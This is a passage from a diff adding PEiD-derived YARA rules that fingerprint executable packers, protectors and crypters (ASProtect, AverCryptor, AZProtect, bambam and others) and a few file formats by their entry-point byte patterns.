+        $a = {BB ?? ?? ?? ?? E9 ?? ?? ?? ?? 60 9C FC BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 AA 9D 61 C3 55 8B EC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00244_ASProtect_1_23_RC4_build_08_07__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect 1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00245_ASProtect_1_23_RC4_build_08_07__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect 1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00246_ASProtect_1_33___2_1_Registered____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASProtect 1.33 - 2.1 Registered -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? ?? E8 01 00 00 00 C3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00247_ASProtect_2_0_
+{
+    meta:
+        description = "[ASProtect 2.0]"
+        ep_only = "false"
+    strings:
+        $a = {68 01 ?? 40 00 E8 01 00 00 00 C3 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00248_ASProtect_2_3_SKE_build_04_26_Beta_
+{
+    meta:
+        description = "[ASProtect 2.3 SKE build 04.26 Beta]"
+        ep_only = "false"
+    strings:
+        $a = {68 01 60 40 00 E8 01 00 00 00 C3 C3 0D 6C 65 3E 09 84 BB 91 89 38 D0 5A 1D 60 6D AF D5 51 2D A9 2F E1 62 D8 C1 5A 8D 6B 6E 94 A7 F9 1D 26 8C 8E FB 08 A8 7E 9D 3B 0C DF 14 5E 62 14 7D 78 D0 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00249_ASProtect_SKE_2_1_2_2__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00250_ASProtect_SKE_2_1_2_2__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00251_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00252_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00253_ASProtect_SKE_2_1_2_2__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.1/2.2 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 ED 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00254_ASProtect_SKE_2_3____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect SKE 2.3 -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 E5 0B 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00255_ASProtect_v1_0_
+{
+    meta:
+        description = "[ASProtect v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 ?? ?? ?? 90 5D 81 ED ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00256_ASProtect_v1_1_MTE_
+{
+    meta:
+        description = "[ASProtect v1.1 MTE]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 ?? ?? ?? ?? 91 78 79 79 79 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00257_ASProtect_v1_1_MTEc_
+{
+    meta:
+        description = "[ASProtect v1.1 MTEc]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 E8 1B ?? ?? ?? E9 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00258_ASProtect_v1_1_
+{
+    meta:
+        description = "[ASProtect v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E9 ?? 04 ?? ?? E9 ?? ?? ?? ?? ?? ?? ?? EE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00259_ASProtect_v1_2____Alexey_Solodovnikov__h1__
+{
+    meta:
+        description = "[ASProtect v1.2 -> Alexey Solodovnikov (h1)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 1B 00 00 00 E9 FC 8D B5 0F 06 00 00 8B FE B9 97 00 00 00 AD 35 78 56 34 12 AB 49 75 F6 EB 04 5D 45 55 C3 E9 ?? ?? ?? 00}
+    condition:
+        $a
+}
+
+rule PEiD_00260_ASProtect_v1_23_RC1_
+{
+    meta:
+        description = "[ASProtect v1.23 RC1]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? 00 E8 01 00 00 00 C3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00261_ASProtect_v1_23_RC4_build_08_07__dll_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect v1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00262_ASProtect_v1_23_RC4_build_08_07__exe_____Alexey_Solodovnikov__h__
+{
+    meta:
+        description = "[ASProtect v1.23 RC4 build 08.07 (exe) -> Alexey Solodovnikov (h)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB ?? ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 B8 F8 C0 A5 23 50 50 03 45 4E 5B 85 C0 74 1C EB 01 E8 81 FB F8 C0 A5 23 74 35 33 D2 56 6A 00 56 FF 75 4E FF D0 5E 83 FE 00 75 24 33 D2 8B 45 41 85 C0 74 07 52 52 FF 75 35 FF D0 8B 45 35 85 C0 74 0D 68 00 80 00 00 6A 00 FF 75 35 FF 55 3D 5B 0B DB 61 75 06 6A 01 58 C2 0C 00 33 C0 F7 D8 1B C0 40 C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_00263_ASProtect_v1_2x__New_Strain__
+{
+    meta:
+        description = "[ASProtect v1.2x (New Strain)]"
+        ep_only = "true"
+    strings:
+        $a = {68 01 ?? ?? ?? E8 01 ?? ?? ?? C3 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00264_ASProtect_v1_2x_
+{
+    meta:
+        description = "[ASProtect v1.2x]"
+        ep_only = "true"
+    strings:
+        $a = {00 00 68 01 ?? ?? ?? C3 AA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00265_ASProtect_V2_X_DLL____Alexey_Solodovnikov_
+{
+    meta:
+        description = "[ASProtect V2.X DLL -> Alexey Solodovnikov]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 ?? ?? 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ?? ?? ?? ?? 03 DD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00266_ASProtect_v_______If_you_know_this_version__post_on_PEiD_board__h2__
+{
+    meta:
+        description = "[ASProtect v?.? -> If you know this version, post on PEiD board (h2)]"
+        ep_only = "false"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00267_ASProtect_v_______If_you_know_this_version__post_on_PEiD_board_
+{
+    meta:
+        description = "[ASProtect v?.? -> If you know this version, post on PEiD board]"
+        ep_only = "true"
+    strings:
+        $a = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00268_ASProtect_vx_x_
+{
+    meta:
+        description = "[ASProtect vx.x]"
+        ep_only = "true"
+    strings:
+        $a = {60 ?? ?? ?? ?? ?? 90 5D ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 03 DD}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00269_ass___crypter____by_santasdad_
+{
+    meta:
+        description = "[ass - crypter -> by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00270_ass___crypter____by_santasdad_
+{
+    meta:
+        description = "[ass - crypter -> by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 ?? ?? ?? ?? 89 45 EC B8 98 40 00 10 E8 AC EA FF FF 33 C0 55 68 78 51 00 10 64 ?? ?? ?? ?? 20 6A 0A 68 88 51 00 10 A1 E0 97 00 10 50 E8 D8 EA FF FF 8B D8 53 A1 E0 97 00 10 50 E8 12 EB FF FF 8B F8 53 A1 E0 97 00 10 50 E8 DC EA FF FF 8B D8 53 E8 DC EA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 F0 97 00 10 E8 C9 E7 FF FF B8 F0 97 00 10 E8 B7 E7 FF FF 8B CF 8B D6 E8 EE EA FF FF 53 E8 98 EA FF FF 8D 4D EC BA 9C 51 00 10 A1 F0 97 00 10 E8 22 EB FF FF 8B 55 EC B8 F0 97 00 10 E8 89 E6 FF FF B8 F0 97 00 10 E8 7F E7 FF FF E8 6E EC FF FF 33 C0 5A 59 59 64 89 10 68 7F 51 00 10 8D 45 EC E8 11 E6 FF FF C3 E9 FF DF FF FF EB F0 5F 5E 5B E8 0D E5 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 1C 00 00 00 45 4E 54 45 52 20 59 4F 55 52 20 4F 57 4E 20 50 41 53 53 57 4F 52 44 20 48 45 52 45}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00271_ASYLUM_Music_File_v_1_0_
+{
+    meta:
+        description = "[ASYLUM Music File v.1.0]"
+        ep_only = "false"
+    strings:
+        $a = {41 53 59 4C 55 4D 20 4D 75 73 69 63 20 46 6F 72 6D 61 74 20 56 31 2E 30 00}
+    condition:
+        $a
+}
+
+rule PEiD_00272_Audio_CD_file_
+{
+    meta:
+        description = "[Audio-CD file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 43 44 44 41 66 6D 74}
+    condition:
+        $a
+}
+
+rule PEiD_00273_AutoDesk_Animation_file_
+{
+    meta:
+        description = "[AutoDesk Animation file]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? 00 12 AF ?? ?? 40 01 C8}
+    condition:
+        $a
+}
+
+rule PEiD_00274_AverCryptor_1_0____os1r1s_
+{
+    meta:
+        description = "[AverCryptor 1.0 -> os1r1s]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 75 17 40 00 8B BD 9C 18 40 00 8B 8D A4 18 40 00 B8 BC 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 A0 18 40 00 33 C0 51 33 C9 66 B9 FA 00 66 83 F9 00 74 49 8B 57 0C 03 95 A0 18 40 00 8B 85 A8 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 BC 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 98 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00275_AverCryptor_1_02_beta____os1r1s_
+{
+    meta:
+        description = "[AverCryptor 1.02 beta -> os1r1s]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 0C 17 40 00 8B BD 33 18 40 00 8B 8D 3B 18 40 00 B8 51 18 40 00 03 C5 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 37 18 40 00 33 C0 51 33 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 37 18 40 00 8B 85 3F 18 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 8B F1 E8 27 00 00 00 8B C8 5F B8 51 18 40 00 03 C5 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 2F 18 40 00 89 44 24 1C 61 FF E0 56 57 4F F7 D7 23 F7 8B C6 5F 5E C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00276_AVI_movie_file_
+{
+    meta:
+        description = "[AVI movie file]"
+        ep_only = "false"
+    strings:
+        $a = {52 49 46 46 ?? ?? ?? ?? 41 56 49 ?? 4C 49 53 54}
+    condition:
+        $a
+}
+
+rule PEiD_00277_AVP_Antiviral_Database_
+{
+    meta:
+        description = "[AVP Antiviral Database]"
+        ep_only = "false"
+    strings:
+        $a = {41 56 50 20 41 6E 74 69 76 69 72 61 6C 20 44 61 74 61 62 61 73 65}
+    condition:
+        $a
+}
+
+rule PEiD_00278_AVP_Inspector_Database_
+{
+    meta:
+        description = "[AVP Inspector Database]"
+        ep_only = "false"
+    strings:
+        $a = {47 68 6F 73 74 20 42 75 73 74 65 72}
+    condition:
+        $a
+}
+
+rule PEiD_00279_AVPACK_v1_20_
+{
+    meta:
+        description = "[AVPACK v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {50 1E 0E 1F 16 07 33 F6 8B FE B9 ?? ?? FC F3 A5 06 BB ?? ?? 53 CB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00280_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00281_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 BE 00 ?? ?? 00 BF 00 00 40 00 EB 17 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 00 00 FF 25 ?? ?? ?? 00 8B C6 03 C7 8B F8 57 55 8B EC 05 7F 00 00 00 50 E8 E5 FF FF FF BA 8C ?? ?? 00 89 02 E9 1A 01 00 00 ?? 00 00 00 47 65 74 4D 6F 64 75 6C 65 46 69 6C 65 4E 61 6D 65 41 00 47 65 74 56 6F 6C 75 6D 65 49 6E 66 6F 72 6D 61 74 69 6F 6E 41 00 4D 65 73 73 61 67 65 42 6F 78 41 00 45 78 69 74 50 72 6F 63 65 73 73 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00282_AZProtect_0001___by_AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0001 - by AlexZ aka AZCRC]"
+        ep_only = "false"
+    strings:
+        $a = {FC 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 8B C2 C1 C0 10 66 8B C1 C3 F0 DA 55 8B EC 53 56 33 C9 33 DB 8B 4D 0C 8B 55 10 8B 75 08 4E 4A 83 FB 08 72 05 33 DB 43 EB 01 43 33 C0 8A 04 31 8A 24 13 2A C4 88 04 31 E2 E6 5E 5B C9 C2 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00283_AZProtect_0x0001____AlexZ_aka_AZCRC_
+{
+    meta:
+        description = "[AZProtect 0x0001 -> AlexZ aka AZCRC]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00284_AZProtect_
+{
+    meta:
+        description = "[AZProtect]"
+        ep_only = "true"
+    strings:
+        $a = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00285_BamBam_0_01_
+{
+    meta:
+        description = "[BamBam 0.01]"
+        ep_only = "false"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+    condition:
+        $a
+}
+
+rule PEiD_00286_bambam_V0_01____bedrock___Sign_by_fly_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00287_bambam_V0_01____bedrock_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00288_bambam_V0_01____bedrock_
+{
+    meta:
+        description = "[bambam V0.01 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 ?? ?? ?? ?? E8 6C FD FF FF B9 05 00 00 00 8B F3 BF ?? ?? ?? ?? 53 F3 A5 E8 8D 05 00 00 8B 3D ?? ?? ?? ?? A1 ?? ?? ?? ?? 66 8B 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B CF 89 45 E8 89 0D ?? ?? ?? ?? 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00289_BamBam_v0_01_
+{
+    meta:
+        description = "[BamBam v0.01]"
+        ep_only = "false"
+    strings:
+        $a = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1 83 C4 10 66 8B 48 06 66 8B 50 14 81 E1 FF FF 00 00 8D 5C 02 18 8D 41 FF 85 C0 0F 8E 39 01 00 00 89 45 F0 C6 45 FF 00 8D 7D E8 8B F3 8A 0E 8A 17 8A C1 3A CA 75 1E 84 C0 74 16 8A 56 01 8A 4F 01 8A C2 3A D1 75 0E 83 C6 02 83 C7 02 84 C0 75 DC 33 C0 EB 05 1B C0 83 D8 FF 85 C0 75 04 C6 45 FF 01 8B 43 10 85 C0 0F 84 DD 00 00 00 8B 43 08 50 E8 D7 04 00 00 8A 4D FF 83 C4 04 84 C9 8B 4B 08 89 45 F8 C7 45 F4 00 00 00 00 74 61 8B 15 07 ?? ?? 00 8B 35 6B ?? ?? 00 8B 7B 0C 2B CA 03 F2 8B D1 03 F7 8B F8 C1 E9 02 F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_00290_bambam_V0_04____bedrock___Sign_by_fly_
+{
+    meta:
+        description = "[bambam V0.04 -> bedrock ! Sign by fly]"
